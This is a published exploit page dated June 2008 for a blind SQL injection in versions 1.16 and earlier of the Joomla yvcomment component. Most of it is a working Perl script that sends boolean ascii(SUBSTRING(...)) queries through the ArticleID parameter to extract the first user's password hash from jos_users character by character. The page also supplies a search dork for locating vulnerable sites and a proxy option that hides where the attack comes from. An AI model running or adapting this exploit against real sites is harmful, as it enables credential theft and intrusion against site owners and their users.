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Joomla Component yvcomment 1.16 Blind SQL Injection Exploit

Joomla Component yvcomment <= 1.16 Blind SQL Injection Exploit
09 june, 2008

Target: Joomla Component yvcomment 1.16 and previous versions
Impact: SQL injection

yvcomment-expl.pl
09 june, 2008

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
print " \n";
print " oooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
print " o Joomla Component yvcomment Blind SQL Injection Exploit o\n";
print " o Author:His0k4 [ALGERIAN HaCkeR] o\n";
print " o o\n";
print " o Conctact: His0k4.hlm[at]gamil.com o\n";
print " o Greetz: All friends & muslims HacKeRs o\n";
print " o o\n";
print " o Dork : inurl:yvcomment o\n";
print " o Usage: perl yvcomment.pl host path o\n";
print " o Example:perl yvcomment.pl www.host.com /joomla/ -a 2 o\n";
print " o o\n";
print " o Options: o\n";
print " o -a valid Article id o\n";
print " o Note: o\n";
print " o You can Change the match string by any o\n";
print " o content of the correct query o\n";
print " ooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = 1;
my $aid = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "a=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
$userid = $options{"u"};
}

if($options{"a"})
{
$aid = $options{"a"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
if(istrue2($host, $path, $userid, $aid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$f)
{
$h = 97;
while(!$f && $h <= 122)
{
if(istrue2($host, $path, $userid, $aid, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}

print "\n[~] Exploiting done\n";

sub istrue2
{
my $host = shift;
my $path = shift;
my $uid = shift;
my $aid = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $query = "http://".$host.$path."index.php?option=com_yvcomment
&view=comment&ArticleID=".$aid."
and ascii(SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=".$h."";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "DateAndAuthor";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}

}








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